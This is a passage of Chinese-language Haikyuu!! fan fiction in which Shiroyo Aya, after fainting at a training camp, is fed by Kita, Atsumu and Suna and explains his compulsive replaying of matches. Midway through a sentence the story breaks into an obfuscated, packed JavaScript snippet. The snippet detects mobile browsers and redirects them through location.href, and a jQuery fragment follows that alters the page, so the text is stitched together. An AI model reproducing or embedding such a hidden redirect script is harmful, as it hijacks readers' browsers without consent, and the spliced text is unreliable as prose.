白夜身体一僵。


    来了来了，北前辈带着不赞同的眼光走来了！


    “……可能是因为，一直在看比赛，之后大脑不停回放比赛细节。”


    北信介皱起眉头，“回放比赛？对局细节也都记得一清二楚吗？”


    白夜不敢隐瞒，乖巧点头，“是的，我想停下的……但是有点不受控制。”


    北沉吟了一会道“我会和监督商量这个情况的”。


    又想起来低血糖：“你今天是不是没吃东西？”


    白夜陷入沉默二连。


    晕车之后没胃口，好像，除了梅子和赤木前辈给的奶酪条什么也没吃。


    哈哈，太好了，我完蛋了。


    北信介虽然依旧表情不变，但是白夜绫沉默着，一点点，一点点将自己缩到被子里去。


    ——救命！他今天还能出保健室吗。


    北信介叹了口气，没忍心再给饿晕了一天的小学弟上压力。


    “相信你也涨教训了，之后我会让你同级的他们盯着你吃东西。”


    白夜点头点出残影。


    “一会我去食堂给你做点容易消化的饭，让他们给你送过来。”北信介起身，打算做完饭去和监督汇报一下白夜的情况。


    听到有饭，饿了一天的白夜眼睛放光——


    北前辈，简直是卡密哒！


    白夜蛋花眼目送北信介离开，门轻轻关上。


    他一个人坐在保健室里，握着那瓶运动饮料。拧开饮料，喝了一口。甜的，带着一点点电解质特有的奇怪味道。


    脑子里那些疯狂转了一下午的画面，经过身体停摆威胁后终于慢下来。


    他轻舒一口气。


    ……总算安静了。


    -


    “吱——”


    门被推开的时候，白夜绫正盯着天花板上的裂缝发呆。


    “喂——某不知名白毛，还活着吗——”


    阴阳怪气的关西腔伴随着门板撞在墙上的声音，把白夜绫的思绪炸得粉碎。


    他条件反射地往被子里缩了缩，只露出一双眼睛——虽然眼睛也被刘海盖住了——看着宫侑大步流星地走进来。


    金毛狐狸手里提着两个便当盒，琥珀色的眼睛在他脸上扫了一圈，然后“啧”了一声。


    “你是笨蛋吗。”他说，语气里全然都是谴责，“竟然还能给自己饿进医务室！”


    竟然被笨蛋骂笨蛋了。


    ……道理我都懂，可是大脑它不听我的啊。


    他把脸往被子里又缩了缩，被盖住的耳尖红得快要滴血。


    ——好了，人生规模级别的社死现场达成了。


    在挤满了球员的食堂当众晕过去就算了，最后还是被其他学校的前辈抱入保健室，这要是传出去，他还怎么做人。


    “你这鸵鸟当得还挺熟练，打算在被子里孵蛋？”


    宫侑抱着胳膊坐在床边的椅子上，看着把自己团成一团的白毛同级，嘴上不饶人，手却没停，啪嗒两声把两个便当盒拍在床头柜上，差点把白夜刚缓过来的魂又吓飞了。


    盒盖掀开的瞬间，温热的香气瞬间裹住了整个小房间。


    北前辈特意做的病号餐，熬得绵密到看不见米粒的蔬菜粥，嫩得能掐出水的玉子烧，还有炖得甜丝丝的去皮南瓜，连配菜都选了最软的煮青菜，半分油星都没敢放。


    “北前辈特意去厨房做的，说你空了一天肚子，吃不了油的，”宫侑把筷子精准戳到他手里，又把粥碗往他面前推了推，关西腔里带着点恨铁不成钢，


    “赶紧吃，凉了再热就难吃死了。你要是敢剩一口，我转头就跟北前辈打报告去。”


    “阿侑，你嗓门能不能收一收，在楼下都听见你训人了，等会儿医生过来，先把你这个噪音污染源赶出去。”


    话音刚落，保健室的门被慢悠悠推开，角名伦太郎拎着个保温袋晃了进来，反手带上门。


    他把保温袋里三瓶温好的麦茶拿出来，一瓶搁在白夜手边，另一瓶随手抛给宫侑，拿着最后一瓶拉了把椅子往旁边一坐，整个人懒懒散散地靠着椅背。


    角名无视宫侑对他压低分贝的抱怨，指尖转着瓶盖，目光扫过白夜还泛着白的脸，慢悠悠补了一刀：“不过他没说错，你是真厉害啊。”


    “一天下来就啃了根奶酪条，是打算挑战不吃饭光靠看比赛光合作用？”


    角名毒液无差别喷洒中。


    白夜绫捏着筷子，安静如鸡。不敢说话。JPG


    -


    在角名说累了喝茶的空档，白夜小声蚊子似的道了句谢，低头舀了一勺粥塞进嘴里。


    暖乎乎的粥滑进空荡荡的胃里，那股揪着人的发慌感瞬间散了大半，连突突跳了一下午的太阳穴，都跟着安分了不少。


    宫侑看着他小口小口干饭，终于还是没忍住，把最在意的事拎了出来：“话说回来，你那脑子到底是什么构造啊？北前辈说你看完一场比赛，控制不住在脑子里循环播放？”


    白夜的勺子哐当一下轻轻撞在碗沿上。


    他抬眼飞快地瞟了两人一眼，又光速低下头盯着碗里的粥，内心疯狂刷屏，最后还是没忍住想和其他人吐槽的欲望，用带着点委屈的语气，把这破毛病的来龙去脉给抖了出来。


    “说出来你们可能不信……我这脑子它有自己的想法，属于是开了自动录屏+循环播放，还关不掉后台的流氓软件！”


    ——说多了都是泪。


    以前他一个人练球，没队友没教练，连个能对垫的人都没有，只能抱着比赛录像翻来覆去地扒，一帧一帧慢放抠动作。


    小到扣球时手腕动了几度，大到选手的跑位路线，全靠死记硬背往脑子里塞。


    时间长了，这破脑子直接进化出了全自动回放功能，只要眼睛扫到排球相关的画面，当场就给你录下来拆解成八百个


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307295|196783||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    细节，循环播放到你吐为止。


    虽然看会了不代表白夜直接学会，但是依旧会占大脑存储。


    这次合宿直接给这破系统干过载了。


    焦虑也让他无视了过载大脑的后果。


    明明是一起升上一队的同级，宫侑的传球已经妖到能让对手头皮发麻，宫治的一传稳得像焊在地上，就连身边这位摸鱼第一名的角名，拦网都能做到让对面主攻怀疑人生。


    大家都在往前冲，只有他还在原地打转，如果去问就生怕打扰到别人，最后只能先把场上的画面一股脑全塞进脑子里，想着回头自己慢慢啃。


    结果就是，大脑后台程序开太多，直接干死机了，还附赠了一场全食堂围观的社死晕倒大赏。


    -


    其实不光是不敢上前请教，就连他平时总低着头、用额发遮住半张脸、连和人对视都要拼命躲开的习惯，也不全是因为社恐。


    白夜绫捏着勺子的指尖轻轻蜷了蜷，声音越说越小，裹着点自己都没辙的委屈与无奈——


    谁懂啊，但凡和排球比赛沾点边的，大脑二话不说就会启动后台强制下载，连个暂停键都找不到。


    这亏他以前结结实实吃过。


    国中的时候他抱着平板连看了三场全国大赛的顶尖对决，眼睛是看爽了，大脑直接被海量细节塞得爆满。


    整整三天，闭眼就是选手扣杀的动作帧，睁眼就是战术跑位的线路图，整宿整宿合不上眼，头疼到抱着枕头蹲在地上掉眼泪，连饭都咽不下去。


    吓得他父亲带着他跑了三个医院。


    从那之后他就学乖了，下意识就开始给自己的视力封印，能低头就绝不抬头，能盯着鞋尖就绝不往人堆里看，连和人对视都要飞快躲开。


    之前在学校跟着北前辈训练的时候还好，每天面对的都是熟悉的队友，大家的动作、习惯、打球的节奏，他早就摸熟了，大脑不用额外花功夫拆解分析。


    可这次合宿完全是三个完全陌生的队伍，从刚进体育馆的热身开始，场上每一个发球的旋转弧度、每一次扣杀的落点角度、每一组拦网的配合时机、甚至教练在场边打的手势暗号，全都一股脑往他眼睛里钻。


    他的大脑就像个停不下来的高速运转的机器，从早到晚连轴转，录完稻荷崎的比赛录明石的，刚拆解完姬路工业的发球规律，又被迫开始分析枭谷的战术体系。


    连对方替补席球员的热身小动作都没放过，早就已经在过载的红线上反复横跳了。


    本来就已经快撑不住宕机了，结果在食堂里，木兔前辈突然风风火火冲过来，周围瞬间聚过来无数视线，陌生的面孔、晃动的人影、嘈杂环境里乱飘的画面，直接给本就濒临崩溃的大脑来了最后一记重锤。


    然后就没有然后了——直接过载黑屏，他当场晕倒，喜提保健室半日游，还附赠了全合宿级别的社死大礼包。


    前途一片光明呢。